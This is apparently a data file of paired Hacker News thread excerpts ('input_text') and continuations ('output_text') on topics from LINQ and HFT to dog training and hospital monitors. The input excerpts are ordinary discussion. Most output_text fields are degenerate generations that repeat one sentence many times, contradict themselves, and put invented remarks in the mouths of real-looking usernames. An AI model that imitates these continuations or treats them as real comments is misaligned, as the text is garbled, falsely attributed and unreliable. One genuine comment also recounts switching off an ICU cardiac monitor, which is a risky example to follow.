madman tactic turned out to be much more effective than everyone gave\nhim credit for. Who would have thought.\n\n~~~\nlouhike\nMaybe it's giving it too much credit to say it happened because of him or that\nit was what he planned.\n\n~~~\nfrockington\nSouth Korea thanked him and said he had a big role. It's definitely not 100%\non him but he had a large role\n\n~~~\nlightbyte\nThe only thing that drives him is praise, seems like an easy way to suck up to\nhim regardless of what he actually did\n\n------\ngaius\nI expect this will be a chapter in The Art Of The Deal vol II\n\n~~~\nfnord123\nI'm very naive of NK/SK politics but I do wonder how much of this was\ninfluenced by installation of John Bolton who is absolutely frothing at the\nmouth for a war with NK.\n\n~~~\ncreaghpatr\nOr Mike Pompeo, who secretly met with Kim before being confirmed as Secretary\nof State.\n\n------\nelvirs\nI think, unfortunately, all of this is just a show put on by NK because and\nIran has paid them to do it. In the first week of May lifting US sanctions off\nIran has to be renewed and Trump was 99% expected not to renew lifting those\nsanctions (a process started by Obama). Now by making this move NK is going to\nmake US look like an unreliable peacemaker if Trump decides not to extend\nsanctions lifting off Iran.\n"} +{"output_text": "\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe article says that Watson is \"a computer that can answer questions about\nthe world\".\n\nThe article says that Watson is \"a computer that can answer questions about\nthe world\".\n\nThe article says that Watson is \"a computer that can answer questions about\nthe world\".\n\nThe article says that Watson is \"a computer that can answer questions about\nthe world\".\n\n", "input_text": " one access of the Watson\nAPIs and discovered the shocking restrictions/requirement that the system\napparently \"needs\" unstructured text, and if your dataset is more structured\nthan unstructured they won't accept you into to the program.\n\nNeedless to say I was a bit annoyed, because I was already using fact\nextraction in the system I wanted to test Watson's query'skill' on. I'm in no\nposition to store the raw text. That would require over a hundred times more\nstorage, probably closer to a thousand times the storage costs, making it\nfiscally untenable for me to even build the database let alone a product with\nit. Any idea if release 2 in October will change this restriction and give\npeople who aren't sitting on GB of unstructured text, like myself, a chance to\napply.\n\n------\nbiomimic\nOther companies focused on genes related to extending human life span are\nGoogle's Calico\n[http://en.wikipedia.org/wiki/Calico_(company)](http://en.wikipedia.org/wiki/Calico_\\(company\\))\nand [http://genopharmix.com](http://genopharmix.com) and\n[http://www.humanlongevity.com/](http://www.humanlongevity.com/)\n\n------\npseudometa\nAs awesome as it was watching it play Jeopardy, it feel like that is all it\nhas ever done. So many press releases boast about the areas it could improve,\nhowever the real-life tangibles seem disparate at best. It would be great if\nthe PR department touted its actual, real-life, in-the-field results rather\nthan hypotheticals. Next up, Watson considered for role in improving food\nproduction!\n"} +{"output_text": " into feeling motivated?\n\n~~~\njoe_the_user\nI think motivation is a bit like the \"will to power\" of Nietzsche.\n\nIt's a bit like the \"will to power\" of Nietzsche.\n\nIt's a bit like the \"will to power\" of Nietzsche.\n\nIt's a bit like the \"will to power\" of Nietzsche.\n\nIt's a bit like the \"will to power\" of Nietzsche.\n\nIt's a", "input_text": "s\" this isn't going to achieve the desired\noutcome.\n\nSimilarly with \"getting s __t done \" I suspect. Although your brain knows that\nit should be cutting code or writing blog articles, it actually prefers to\nread HN and research the security measures used in triggering mechanisms for\nthe primary stages in thermonuclear weapons.\n\nThat being the case it sounds like you are already taking all the typical\ncountermeasures : don't have food in the fridge; count food points; try to\nkeep the long term goal in mind..\n\nOne other thing I'd say in the context of freelancing and remote work is that\nyou may be unfairly judging yourself, or rather comparing yourself to a\nmythical perfect version of yourself, due to the lack of available other\npeople with which to compare your achievements.\n\n------\nasdljkaslk\nI think motivation is one of the most fundamental parts of human existence. I\nthink it should be studied so much more.\n\nOften we talk about it at such a high level. But in the end everything boils\ndown to the second-by-second internal monologue, and all the context and life\nexperience surrounding this monologue.\n\nBeneath this is the raw emotions that we feel and cannot explain. Its like\nwhen you're looking at a stack trace and it stops at an internal call into a\nprivate api.\n\nI'd love to know more about the inner workings of people's internal\nmonologues. Are there consistent patterns of thoughts that can lead people\ninto the state of flow? How does the mind wandering into a day dream\ncontribute to our motivation? Perhaps ignorance is bliss, and seeing behind\nthe curtain spoils the show. Are we driven by our delusions of grandeur?\n\nCan we trick ourselves"} +{"output_text": "q.\n\n~~~\nkccqzy\nI'm not sure what you mean by that.\n\n~~~\ngoto11\nI mean that you can have monads without LINQ.\n\n------\nkccqzy\nI'm not sure why this is on the front page. It's a pretty basic tutorial on\nhow to use LINQ.\n\n~~~\nkccqzy\nI guess it's because it's a pretty basic tutorial on how to use LIN", "input_text": "=lisp) (Interactive,.NET Lisp)\n\n\\- #Script Code [https://sharpscript.net/linq/restriction-\noperators?lang=code](https://sharpscript.net/linq/restriction-\noperators?lang=code) (Interactive,.NET JS-Like)\n\n\\- Elixir [https://github.com/omnibs/elixir-linq-\nexamples](https://github.com/omnibs/elixir-linq-examples)\n\n\\- Python [https://github.com/rogerwcpt/python-linq-\nsamples](https://github.com/rogerwcpt/python-linq-samples)\n\n\\- Groovy [https://gitlab.com/svkj/groovy-linq-\nsamples](https://gitlab.com/svkj/groovy-linq-samples)\n\nMost languages fare well in both verbosity and readability so I don't view\nLINQ as a major strength of C# anymore, it's just a well designed, typed query\nlanguage with the USP of being able to capture and traverse an expression's\nAST which different LINQ providers can take advantage of by translating the\nintent of the query into a different DSL, most commonly used by ORMs to\nconvert to SQL and execute the typed C# Expression logic on the RDBMS Server.\n\n~~~\nkccqzy\nIsn't the point of LINQ to get monads into the language so that it can be used\nby a lot of different things (seemingly having no relations to data\nprocessing), rather than just data processing tasks?\n\n~~~\ngoto11\nNot really. You can have monads without Lin"} +{"output_text": " of details.\n\n------\njoe_the_user\nI think the author is right that HFT is a problem. But I think the author is\nwrong that the solution is to ban HFT.\n\nThe problem is that HFT is a symptom of a larger problem. The problem is that\nthe financial system is a system of \"too big to fail\" institutions.\n\nThe solution is to break up the financial system into smaller pieces.\n\n~~~\nj", "input_text": " he is quite adamant in his assertion that HFT is great. As long as\nit is in the service of large buy side institutions he has no problem with it.\nIf on the other hand, HFT firms dare to upend the relationship with\ntraditional ibanks, then he gets upset.\n\n------\nsolaarphunk\nSurprise-surprise, HFTs can also be marketmarkers and bridge the imbalance of\narrival rates of buyers and sellers!\n\n------\nw_t_payne\nYou can't trust people. Even supposedly-trustworthy people working for\nsupposedly-trustworthy household-name financial institutions like Barclays.\nWhat then can we trust? Technologies like BitCoin are predecated on the idea\nthat we can trust mathematics and peer-reviewed logic. Are these mechanisms\ninherently more trustworthy than individual humans and human institutions? If\nthis is truly the case, then the argument for financial intermediation to be\nfounded on a similar technological basis is an exceptionally strong one.\nAnybody else interested in following this rabbit hole to see where it leads?\n\n------\nwernerb\nMicheal Lewis explains dark pools and HFT's quite well in his new book Flash\nBoys [1].\n\n[1] [http://www.amazon.com/Flash-Boys-Wall-Street-\nRevolt/dp/03932...](http://www.amazon.com/Flash-Boys-Wall-Street-\nRevolt/dp/0393244660)\n\n~~~\nkasey_junk\nNo he doesn't. Either through ignorance, incompetence, or malice he wrote a\npretty terrible book about dark pools and HFTs. Dark Pools by Patterson is\nmuch better and even it misses on lots"} +{"output_text": ".\n\n------\njoshuaheard\nI'm not sure I understand the point of this.\n\n~~~\njoshuaheard\nI'm not sure I understand the point of this.\n\n------\njoshuaheard\nI'm not sure I understand the point of this.\n\n------\njoshuaheard\nI'm not sure I understand the point of this.\n\n------\njoshuaheard\nI'm not sure I understand the point of this", "input_text": "\ndigital realm - mainly their ability to keep secrets and collect taxes. Real\ncrypto currencies and encrypted communications will change human organization\nand governments will fight back with everything they have. These new laws over\nthe past several years have been to address the above - they have nothing to\ndo with 'terrorism' - cyber or otherwise. Government's only effective role is\nto maintain its power. Everything thing else is secondary.\n\n------\nrtpg\nCan someone explain to me how citizenship comes into play for any of these\nthings? I was always under the impression that non-citizens also had basic\nrights.\n\n------\nryanmarsh\nWhen you consider that humans have been on the earth some 150,000 - 200,000\nyears it's interesting that only in the last heartbeat of humanity's existence\n(4,000 or so) did we decide en masse to grant a monopoly on the use of deadly\nforce to someone else, namely bureaucrats.\n\n------\nallingeek\nI had to giggle when I took a look at the URL, \"someone-just-leaked-obamas-\nrules-for-ass.\" Which made me wonder if this, rather lengthy, but clearly\ntruncated URL was hand chosen. Either way makes you think about more\nintelligent filters for URL generators.\n\n------\nlogn\n[https://petitions.whitehouse.gov/petition/impeach-\npresident-...](https://petitions.whitehouse.gov/petition/impeach-president-\nobama-unconstitutional-execution-united-states-citizens/Rdq942HF)\n\n------\nmens_rea\nI love that this title is so unbiased and doesn't at all blow the document out\nof proportion or make it appear more sinister than it actually is"} +{"output_text": " because it's a useful\nperspective to have.\n\n~~~\njasonkester\nI think it's a bit more nuanced than that.\n\nThe article is about how to deal with failure. It's not about how to deal with\nsuccess.\n\nThe article is about how to deal with failure in a way that doesn't make you\nfeel like a failure.\n\n~~~\ngraeme\nI agree.\n\nI think the article is about how to", "input_text": " recall being 4chan, of\nall places!), they use an unfiltered third party network, which generally are\ngreat vehicles for malware.\n\nThe few tenths of a penny my ad impression is worth does not offset the cost,\nnor the risk, of your site infecting me with the rootkit of the day. Where do\nI send the bill?\n\nThe second reason being the ads are generally scammy (One simple rule...),\ndistracting (moving things, sound, etc), irrelvant (I live at home by myself.\nI am male. Why are you showing me women's fashion magazines and breast\nenlargement ads?!), etc.\n\nI've got no problem with text ads (ala Google) which eliminate most of these\nconcerns - heck, in Google's case, they're even usually relevant!\n\n~~~\nGoronmon\n_I use an adblocker because most sites I visit that serve ads do not\npersonally vet the ads that run (with the great exception I can recall being\n4chan, of all places!), they use an unfiltered third party network, which\ngenerally are great vehicles for malware._\n\nWhile sites might not be able to vet individual ads, they do get to choose\nwhich advertisers to use and it's glaringly obvious which ones use the ads\npeople hate.\n\nWhy not just not visit sites that decide to use annoying ads?\n\n~~~\nNursie\nBecause you've already caught the malware by the time you figure it out?\n\n------\ngraeme\nThere is a good article, linked within, about how as an entrepreneur, of\nthings go wrong, it's your fault.\n\nI'd say that's valuable advice for humans, not just entrepreneurs.\n\nThis belief is useful not because it _true_, but"} +{"output_text": " into programming was because I wanted to be\nsomeone who was eloquent, optimistic, and down-to-earth. I'm not sure if I\nwould have been able to do that if I had been a techie.\n\n~~~\njamesjyu\nI think you're right. I'm a techie, and I'm not eloquent, optimistic, or\ndown-to-earth. I'm a techie because I'm a techie.\n\n~~~\n", "input_text": " few times.)\n\nWas Richard the guy who went as a flasher at a Halloween party? Because every\ntime I read about him testifying in court, I'm imagining him doing so in that\ncostume, which was... graphic.\n\n~~~\nabawany\nI never knew UTD had such goings-on, probably because I was just an evening\nstudent who attended business classes there :) (FYI: I have been a developer\nmost of my life - just wanted to broaden my horizons re. business.)\n\nI think I also know a Richard Bates from UTD, as a co-worker (but I am not\nreal sure that it is the same person so I won't be too specific as to company\nand etc.). I found this Richard Bates to be a hard worker who was detail\noriented and focused on doing the right thing.\n\n~~~\npavel_lishin\nYeah, there was a fair amount of stuff happening at UTD when I was there - it\nwas easy to miss if you didn't live on campus, or if you only attended in the\nevenings. Sorry you missed out on the fun!\n\nAlthough, to be fair, some of that 'fun\" was actually pretty regrettable in\nhindsight. But them's part of learnin'.\n\nI didn't know Richard well, but nothing I learned about him made him seem like\nhe would be a bad employee, except I guess the possible personality clash,\nwhich can be true of anyone.\n\n------\nrobbyking\nThis is a bit of an aside, but this line really stung:\n\n>> _Ross was a techie, but he didn 't act like one. He seemed eloquent,\noptimistic, down-to-earth._\n\nOne of the main reasons I got"} +{"output_text": ".\n\n------\njoezydeco\nI'm not sure if this is a good thing or not.\n\nI'm not a big fan of the App Store, but I'm not going to begrudge someone\nmaking a living off of it.\n\nI'm not a big fan of the music industry either, but I'm not going to begrudge\nsomeone making a living off of it.\n\nI'm not a big fan of the movie industry either", "input_text": "what you are referring to.\n\n~~~\nNasrudith\nThe answer is that publically traded companies face heavy pressure to keep\nsustained quarterly growth indefinitely and various \"activist\" investors will\ninsist upon ousting any who stand in the way even if it is better for longterm\nhealth not to say lay off experienced engineering staff in a stable industry\nto inflate quarterly profits (Boeing) when it comes to bite them with\nelectrical fires in their next big plane.\n\n------\njl2718\nMost change is bad. Some change is necessary.\n\n \n\nOur Pirate Game is Getting Owned By App Store Pirates - theappfarm\nhttp://silverskullgame.blogspot.com/2009/09/our-pirate-game-is-getting-owned-by-app.html\n\n======\ntimcederman\nA nice sensible response, with some well-reasoned observations.\n\nThe thing about piracy I've always found weird is how hysterical some people\nget about it for their medium and not others. For example, I am good friends\nwith several software developers who get furious about people pirating their\nproducts, but have no qualms about having gigs of copied music personally.\n\n~~~\njacquesm\nI think the rationale people are using here is that it's the record companies\nthey're pirating from not the artists.\n\nArtists like Janis Ian ( (be sure to read the follow up)) have made that point\nquite eloquently.\n\nStill, the basic position is one of hypocrisy, no contest there.\n\n~~~\ntrapper\nAnd EA and the other big game companies aren't just like them"} +{"output_text": "/SGJ5cZnoodY)\n\n~~~\njaclaz\n> It's super weird how everybody considered Trump odd for his hate for China,\n> yet these days so many people just repeat the, usually completely baseless,\n> anti-China FUD.\n\nI don't know if it is \"odd\" or not, but I do know that Trump is not the only\none who hates China.\n\nI am not a Trump fan, but I", "input_text": "counterparts in the U.S. - saw first hand their capability. Small cubicles, 3\nsq yd, 30 in a row, all with different language skills, ( any language ),\nComputer science graduates from the No 1 University in China. Pay is a\nfraction of what a compatible grad is being paid in the U.S. No competition.\nHigh pay won't make the leverage.\n\n------\nanonymous_fun\nI saw Mr. Hickton speak a few nights ago. It was really an interesting talk\nabout some of the challenges for the future:\n[https://www.youtube.com/watch?v=8Zktw-m5hTI](https://www.youtube.com/watch?v=8Zktw-m5hTI)\n\n------\nfreeflight\nIt's super weird how everybody considered Trump odd for his hate for China,\nyet these days so many people just repeat the, usually completely baseless,\nanti-China FUD.\n\nWhether it's Huawei supposedly spying on everybody or the Chinese government\nputting implants on Super Micro boards, nothing is too absurd to be spread by,\nout of all parties, Five eyes themselves.\n\nDoes China hack? Of course, so does the US, it even steals IP from allies. But\nI seriously doubt the damages for that go into the $57 billion, that's just a\npiracy-damages like inflated number. In reality, a whole lot of interesting\ninnovation, particularly on the hardware level, has already been happening in\nChina for years already. They gonna out-make the US maker movement, on a\nmassive scale [0].\n\n[0] [https://youtu.be/SGJ5cZnoodY](https://youtu.be"} +{"output_text": " same problem. I was a very productive person, but I was always\nwondering why I wasn't getting more done. I was always trying to figure out\nwhat I was doing wrong. I was always trying to figure out how to get more done\nand I was always trying to figure out how to get more done faster.\n\nI realized that I was always trying to figure out how to get more done, but I\nwasn't actually doing anything. I was just thinking", "input_text": " for my time except myself.\n\nFrom experience, I feel like most professional consulting organizations pad\nhours, but I'd prefer to show more for my time since my personal brand is\ncritical to my success.\n\n------\nryan-allen\nHi!\n\nYou may just score low on the contientiousness scale of the big five, do this\ntest and see!\n\n[https://www.understandmyself.com/](https://www.understandmyself.com/)\n\nIf you score low on that dimension of personality, routine does not come\neasily to you by nature of your personality. It's not bad per-se but it means\nit will be harder for you to make and keep a schedule (which apparently is the\nadvice for people low in that dimension).\n\nI score low, and as a result I always have to keep on top of myself. I thought\nit was bad and carried a lot of guilt about it because I thought it should 'be\neasy'.\n\nSend me an email if you want to discuss privately (ryan at 137 dot ms).\n\n------\nfimdomeio\nPersonally I found out that my motivation was directly related to being well\nmanaged / being poorly managed by others where being well managed is normally\nsomething like: \"find me the best possible solution for x, taking into account\nthat we have y and z constrains\", and doing things I believe in. There's a\nworld of difference in motivation if you believe in the project goals or if\nyou're in it just for the money. Finding technical challenges is also relevant\nsometimes, but not that much for me personally. whell maybe what I call\nworkflow optimizations is the lie I tell myself for creating technical\nchallendges.\n\n------\ntopmonk\nI had the"} +{"output_text": " would be to have a smart pointer that wraps a raw\npointer, and then have a custom deleter that does the actual destruction.\n\n~~~\nhduden\n> What guarantees do you make wrt destruction order?\n\nWe make sure that the destruction order is deterministic. That is, if you\nrelease a reference to an object, it will be destroyed on the main thread.\n\n> I hope it's not as complicated as finalizers in Java and C#...\n\nIt's", "input_text": " framework: Native C++11, native widgets, no JavaScript - gitoby\nhttps://github.com/ashampoosystems/boden\n======\nint_19h\nThis does not appear to be idiomatic C++11. I mean:\n\n \n \n bdn::P button = bdn::newObj();\n \n\nIdiomatic would be to use std::shared_ptr and std::make_shared, instead of\nyet-another-custom-smart-pointer.\n\n~~~\nhduden\nI am a member of the Boden dev team. The smart pointer system is actually\nstill a topic of discussion in the Boden team as well. It has a couple of nice\nproperties, like the fine grained control bdn::P gives us over the time when\nan object is actually destructed. For example, these pointers provide an easy\nway to ensure that destruction of our View objects happens only on the main\nthread, no matter which thread released the last reference.\n\nBut on the other hand, not using the standard constructs definitely has a cost\nassociated with it. We are happy for your feedback on this issue.\n\nNote that we also think about the idea of transforming P and making it a\nspecialization of std::shared_ptr for objects derived from bdn::Base. That\nwould give us the best of both worlds. Feel free to let us know what you\nthink.\n\n~~~\nint_19h\nDeferring destructors is a suspicious pattern in general - in C++, I generally\nexpect them to not be async and unpredictable like that. What guarantees do\nyou make wrt destruction order? I hope it's not as complicated as finalizers\nin Java and C#...\n\nThe more logical model"} +{"output_text": " you\nabout it.\n\n~~~\ndanfang\nHey, thanks for the kind words! I'm happy to chat.\n\n------\njoshstrange\nI'm not sure if this is a good idea or not but I'm curious if anyone has\ntried to use this to create a \"API\" for their own website. I'm thinking of\nsomething like a \"API\" for a website that would allow you to do things like\ncreate a new user,", "input_text": " of it:\n\n[https://www.fastcompany.com/3037719/turn-your-kitchen-\ninto-a...](https://www.fastcompany.com/3037719/turn-your-kitchen-into-a-\ngarden-with-this-mini-fridge-sized-electric-farm)\n\n------\ngonesilent\n$399 for $25 in plastic. Go to home depot and buy some rain plastic gutters.\n\n~~~\nswiftcoder\nEvery time one of these vertical/rotating indoor farms comes onto the market\n(usually via crowdfunding), it has roughly the same level of cost inflation.\nHaven't quite figured out who they are conning into buying these setups.\n\n~~~\ngullyfur\nWhat's the best DIY video on building something like this? I don't even know\nwhere to start.\n\n~~~\nzo1\nI saw this guy a while back.\n\n[https://www.youtube.com/watch?v=lzcC6zkDDiY](https://www.youtube.com/watch?v=lzcC6zkDDiY)\n\nI think he got a lot of flack for pointing out that the zip-grow towers are\nway overpriced and you can DIY them yourself reasonably well. There really\nisn't anything too-complicated about the ZipGrow towers, other than that they\nuse a sponge as a media.\n\n~~~\ngullyfur\nThank you!\n\n \nShow HN: Me API \u2013 turn yourself into an open API - danfang\nhttps://github.com/danfang/me-api\n======\nac360\nDan -- the themes and ideas behind this are rad and I'd love to chat with"} +{"output_text": " server,\ndns, torrent downloading, ad/malware/tracker blocking).\n\n------\njedberg\nI'm surprised that the author didn't mention the most important thing:\n\n1\\. Make sure you have a good backup strategy.\n\n2\\. Make sure you have a good disaster recovery strategy.\n\n3\\. Make sure you have a good disaster recovery plan.\n\n4\\. Make sure you have a good disaster recovery plan for your data.\n\n", "input_text": " as a single source).\n\n~~~\nbenologist\nI'd go one step further and build your own private cloud for a bunch of stuff.\nI did all this easily through a slick web interface for open source software\nand linux that Synology has created.\n\nA lot of this stuff includes apps for phone/tv/etc that you can download for\nfree in stores or even from their own site, and it can be available to\neveryone in your household for some pretty decent savings - if it still works\nin a year I'll have saved more than I spent on it ($290 + disks x4).\n\n\\- cloud files almost directly equivalent to Dropbox, I haven't solved sharing\nfiles yet but I have versioning and undeleting for my work\n\n\\- note server like OneNote with a browser extension to save pages,\nscreenshots etc\n\n\\- music streaming ala Amazon Music et al\n\n\\- torrent downloading I guess is like seed boxes but never had one\n\n\\- video streaming server like Netflix\n\n\\- photo uploading like iCloud\n\n\\- email server, didn't actually install this one yet but everything else is\nup and running\n\n\\- dns server with network-wide ad/malware/tracker blocking\n\n~~~\nYetanfou\nThat is exactly what something like Owncloud/Nextcloud (for which I made those\nbook/publication-related tools) enables you to do: create a 'private cloud'\n(what a silly word it is, really... cloud). It does some of the things you\nmention 'out of the box' (file storage, photo uploading) or after installing\nsome 'apps' (note server, music streaming, video streaming, email user agent\n(not a mail server)). Since it runs on *nix you get the rest (mail"} +{"output_text": "ings.\n\nDogs have the ability to understand the meaning of a single word, modify the\nmeaning and understand the mis-meanings.\n\n~~~\ngnaritas\n> Humans have the ability to understand multiple meanings, modify the meanings\n> and understand the mis-meanings.\n\nNo, they don't. They have the ability to understand multiple meanings, modify\nthe meanings and understand the mis-meanings.\n\n~~~\nelectromagnetic\nI'm not", "input_text": " bit at me but it's damn hard trying to pry a dogs jaws open _and_\nstick fingers down its mouth to stop it choking on a piece of meat with bone\nin it), she's also stopped stealing food off of the coffee table (she got in\nfrom her walk one day and stole a large day old pizza crust off the table and\nhad eaten 4/5ths of it before I finally managed to catch her).\n\nBy the best estimates, I have another 14 years with this dog and so far I've\nmostly been working at removing bad behaviours she had learnt. For all the\ntime I taught tricks, I spent easily twice as long making bad behaviours go\nextinct. I don't intend to stop training my dog because the more time I spend\ntraining her, the more relaxed she is at home (Jack Russell and relaxed are\ncommonly considered antonyms).\n\nI'll have to record it sometime, but the thing I don't think people understand\nabout dogs is that they're consciously trying to comprehend you. When teaching\nher to sit pretty by verbal command only she would hit this point where she\nhits the 'zone' her eyes become locked and you can see the gears crunching and\nthen she performed the trick with no signalling. She also tried brute-forcing\nher tricks; literally she'll perform every trick she's learnt and then give up\nand start doing'speak' to every command. You go back 5 minutes later and\nshe'll hit the 'zone'.\n\n~~~\ngnaritas\n> dogs don't understand the actual words, their brains are merely receiving a\n> signal and performing an associated action\n\nAnd that differs from understanding exactly how?\n\n~~~\nelectromagnetic\nHumans have the ability to understand multiple meanings, modify the meanings\nand understand the mis-mean"} +{"output_text": " and me alone.\n\nI was a bit of a pain in the ass, but I was also a bit of a pain in the ass\nbecause I was a bit of a pain in the ass.\n\nI was a bit of a pain in the ass because I was a bit of a pain in the ass.\n\nI was a bit of a pain in the ass because I was a bit of a pain in the ass.\n\nI was a bit of a pain in", "input_text": "contributing to the adverse outcomes.\n\nMight be a starting point at least.\n\n[0] [https://www.hsj.co.uk/technology-and-innovation/taking-\nthe-r...](https://www.hsj.co.uk/technology-and-innovation/taking-the-risk-out-\nof-care-handovers/5057867.article)\n\n------\nad_hominem\nI asked my doctor relative about this once and IIRC they basically said\nbecause hospitals are not hotels - if you're inpatient in America you're\npretty sick and more than likely need periodic monitoring for your condition.\nAs soon as you're well enough to be sleeping for long periods of time without\nobservation you'll get bounced.\n\n~~~\ndevereaux\nYou can be a patient and be so sick of the noise that you decide you want to\nopt out of the monitoring - or you DIY anyway, as most hospital do not take\nrequests kindly.\n\nI was once in ICU. The cardiac monitor was beeping loudly whenever I was\nstarting to sleep.\n\nAfter the first few time woke me up in pain, I bent over and pushed the button\nto power off the cardiac monitor. Problem solved! I fully admitted all the\nrisks - but there comes a time when too much is just too much.\n\nI then had a great night of sleep :-)\n\n~~~\nlexicality\nDid you check to see if the cardiac monitor was set up to prevent you\nsleeping?\n\n~~~\ndevereaux\nI didn't care. I wanted to sleep. And I did.\n\n------\nkchoudhu\nFor the birth of my second child, I learned to manage hospital staff so that\nthey would leave my wife"} +{"output_text": "_ affects people.\n\n~~~\n1123581321\nI'm not sure what you mean by \"science fiction.\" I'm not talking about\nmicrogravity, I'm talking about the bone density of astronauts.\n\nI'm not sure what you mean by \"let's spend money on microgravity research.\"\nNASA has been doing that for decades.\n\nI'm not sure what you mean by \"the obvious thing of seeing how 1/6 _g_ or 3", "input_text": "\n~~~\n1123581321\nWe have already measured bone loss in low gravity environments.\n[http://weboflife.nasa.gov/currentResearch/currentResearchGen...](http://weboflife.nasa.gov/currentResearch/currentResearchGeneralArchives/weakKnees.htm)\n\nGravity plays an essential role in bone maintenance. You can work this out\nfrom first principles if you know anything about biology, or read about NASA's\nfindings.\n\nThis has been known for a long time, well before humans ever went to space.\nFor example, HG Wells' _First Men on the Moon_ described the very weak chests/\nrib cages of the moon's citizens due to low gravity resulting in very low bone\ndensity. When the explorers from earth struck them, their chests crumpled like\na beetle might on earth. Wells either learned this from other scientists or\nworked out the logic himself.\n\n~~~\ndanielweber\nThat's microgravity, or what other people call \"zero gravity.\"\n\nWe honestly don't know how much gravity people need to survive. Your talk of\npeople's chests collapsing because you read it in science fiction is just\nthat: science fiction. HG Wells is great but he's not really a good source of\nscience for modern astrophysics.\n\nOdds are, there are many bodily functions that work just fine in a little bit\nof gravity, and others that scale up as you get more and more gravity.\n\nWe really need to get some spinning space stations set up to find this stuff\nout. Unfortunately, NASA has a really big fetish for \"let's spend money on\nmicrogravity research\" instead of just doing the obvious thing of seeing how\n1/6 _g_ or 3/8 _g"} +{"output_text": " \"you can't have your\ncake and eat it too\". You can't have \"labor\" based income generation approach\nand \"capital\" based income generation approach at the same time.\n\n------\njasonkester\nI'm not sure I understand the question.\n\nIf you're asking how to make money, the answer is to do what you're already\ndoing.\n\nIf you're asking how to make money without working, the answer is to do what\n", "input_text": " source of income, you at least have enough back up to get you through it.\nI have no idea if this is actually feasible or not, but it's what I'll be\nattempting to pull off over the next few years.\n\nThink about what you enjoy doing and if there's some way to get paid for that.\nTeaching, writing, speaking, land lording, house flipping, coaching. Design,\nbuild, and manage (or some subset of that) vacation properties, and you can\nuse them for yourself when not rented.\n\nYou could also use some labour to reduce costs rather than generate income.\nGrow your own food, fix your own car, ERE style.\n\n------\nakg_67\nConsidering you mentioned \"focus less on absolute financial independence\" and\n\"small amount of savings\", I guess that you want to generate multiple streams\nof income through your \"labor\" instead of \"capital\".\n\nThere are only two ways to generate, increase, create multiple stream of\nincome through \"labor\": increase number of hours of \"labor\" spent working\nand/or increase the hourly rate you charge for your \"labor\". Two problems with\n\"labor\" based income generation approach: there is upper limit on the \"labor\"\nhours you can contribute and \"capital\" providers typically control how much\nthey will pay you for each hour of your \"labor\".\n\nWhen you generate income through \"capital\", you have none of these\nlimitations. Unlike days of our parents and grandparents when \"labor\" was\nwell-respected, now a \"capital\" based income generation approach is considered\nmuch superior.\n\nYou should be thinking about how you can move from \"labor\" based to \"capital\"\nbased income generation approach. My wife likes to say"} +{"output_text": "er than you think.\n\n~~~\nmattmanser\n> I'm not exactly sure why so?\n\nBecause it's a massive pain in the ass to do it.\n\n> Take for example gaming. GOG sells DRM free games worldwide, without\n> regional restrictions and no inflated pricing for countries like Australia\n> for example. Why can't video be sold on similar terms?\n\nBecause it's a massive pain in the ass to do it.\n\n>", "input_text": "\nBut realistically it's fucking HARD. Mainly because increasing quality to be\ncompetitive with piracy would generally require breaking tax and import laws\neverywhere.\n\nEven if it doesn't require breaking those laws to be competitive, you have to\nat least pay enough people to be aware of them, for each and every country you\nwant to be able to distribute your content in.\n\nSo decent* DRM isn't about stopping piracy, really. It's about slowing it down\njust enough that it's still worthwhile to jump through the hoops required to\nbring that content legally to other regions.\n\n*: It's actually fairly hard to hit this goal on the head, and often I feel companies buy too far into their own bullshit and sense of entitlement with DRM. A lot of shoddy executives with poor understanding of software misuse DRM to the extent that it drastically lowers the value of the content (see: always on DRM) Please continue to bash them, they deserve it.\n\n~~~\nshmerl\n_> Mainly because increasing quality to be competitive with piracy would\ngenerally require breaking tax and import laws everywhere._\n\nI'm not exactly sure why so? Take for example gaming. GOG sells DRM free games\nworldwide, without regional restrictions and no inflated pricing for countries\nlike Australia for example. Why can't video be sold on similar terms?\n\n _> So decent DRM isn't about stopping piracy, really. It's about slowing it\ndown just enough that it's still worthwhile to jump through the hoops required\nto bring that content legally to other regions._\n\nIn my view it never pays off. The downside of reduced usability is always\nworse than any potential gain in slowing down piracy on the period between\nsome new DRM scheme is introduced until it's broken. Usually that period is\nsmall"} +{"output_text": " prowess is a reflection of his\nown obsession with chess.\"\n\nI'm not sure I agree with that. I think Kasparov's obsession with chess is\nmore about his own ego than it is about chess.\n\n~~~\ngwern\nI think it's a fair point, but I think it's a bit unfair to say that Kasparov\nis obsessed with chess. He's obsessed with chess because he's obsessed with\nchess. He's obsessed with", "input_text": "~~~\nasdfologist\nYou're referring to Advanced Chess [0]. Yes, humans do add value, or otherwise\nthis form of chess wouldn't exist at all, i.e. the human's best strategy would\nbe to always take the engine's top recommended move.\n\n[0]\n[http://en.wikipedia.org/wiki/Advanced_Chess](http://en.wikipedia.org/wiki/Advanced_Chess)\n\n~~~\ngwern\nBut at some point Advanced Chess will be 'dead' in the sense that the best\nhuman players no longer help the best software win: the human will pick better\nmoves less than poorer moves, and blow games. It's hard to tell when, but\ngiven how large the margin is, and how finely balanced the best chess engines\nare now (Lipton has some interesting posts on computer chess, most recently\n[https://rjlipton.wordpress.com/2014/12/28/the-new-chess-\nworl...](https://rjlipton.wordpress.com/2014/12/28/the-new-chess-world-\nchampion/) ), I wonder if that moment has already passed?\n\n~~~\nHoushalter\nAnother observation is that humans only add value for their pattern matching\nability. Computers have worse heuristics, but make up for it by being able to\nexplore many moves into the future.\n\nBut now deep neural networks have been catching on. They've shown good results\non Go, being able to predict the move an expert would make 44% of the time.\n\n------\nraymondh\nThe article makes a surprising and unattributed assertion, \"Mr. Kasparov\u2019s\nobsession with Deep Blue\u2019s surprising strategic"} +{"output_text": " I think I am pretty good at\nit.\n\nI am not a native English speaker, I am a native speaker of my native\nlanguage, I am not a native speaker of English. I am not a native speaker of\nany language.\n\nI am not a native speaker of any language.\n\nI am not a native speaker of any language.\n\nI am not a native speaker of any language.\n\nI am not a native speaker of any language.\n", "input_text": "\n[http://jenniferdewalt.com/](http://jenniferdewalt.com/))\n\n _I don 't know people who can help me._ Hack: Find your local web development\nmeetup and go. Don't sit in the corner. Meet people. Get their contact into.\nTell them what you're trying to accomplish. Ask them for advice. (People love\nto give advice.) Email them later and let them know you enjoyed meeting them.\nThank them for their advice. Build relationships.\n\n~~~\ntaphangum\nThis is fantastic advice. Pretty much exactly what I did to get to the point\nof being employable (when not working on my own ideas). Starting from a\nposition pretty similar to the OP.\n\nThe most important part of this is the emphasis on releasing code on a\nconsistent basis. I'm 6 years into my journey and am still doing this pretty\nregularly. Example: 